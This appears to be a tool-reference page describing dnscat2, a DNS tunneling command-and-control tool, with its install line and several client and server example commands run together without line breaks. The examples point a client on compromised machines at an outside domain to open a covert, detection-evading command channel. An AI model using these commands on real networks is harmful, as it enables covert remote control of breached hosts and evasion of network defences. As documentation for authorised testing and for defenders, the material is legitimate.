dnscat2
dnscat2 creates an encrypted command-and-control channel over the DNS protocol to tunnel out of restricted networks. It consists of a server for authoritative DNS and a client for compromised machines.
Description
dnscat2 is a DNS tunneling tool designed to establish encrypted command-and-control (C&C) channels over the DNS protocol, effective for bypassing network restrictions. The server component runs on an authoritative DNS server, while the client operates on compromised machines to create stealthy communication paths.
Use cases include post-exploitation scenarios where direct network access is blocked, allowing operators to maintain control through DNS queries that mimic legitimate traffic. The tool supports various DNS record types and configurations for flexibility in different network environments.
It is packaged as a metapackage with separate client and server components, each installable independently for targeted deployments.
How It Works
dnscat2 operates by encapsulating encrypted C&C traffic within DNS packets, leveraging record types like TXT, MX, CNAME, A, and AAAA. The server listens on specified host/port for DNS requests, processing them as tunneled data. The client on compromised hosts sends DNS queries to the server domain, with delays and steady timing to evade detection. Communication is encrypted, and streams support console I/O, process execution, or interactive commands.
Installation
sudo apt install dnscat2Flags
Examples
./dnscat --dns domain=skullseclabs.org./dnscat --dns domain=skullseclabs.org,server=8.8.8.8,port=53./dnscat --dns domain=skullseclabs.org,port=5353./dnscat --dns domain=skullseclabs.org,port=53,type=A,CNAME./dnscat skullseclabs.orgruby dnscat2.rbruby dnscat2.rb domain.comruby dnscat2.rb a.com b.com c.comruby dnscat2.rb --dns 'host=127.0.0.1,port=53531,domain=a.com,domain=b.com'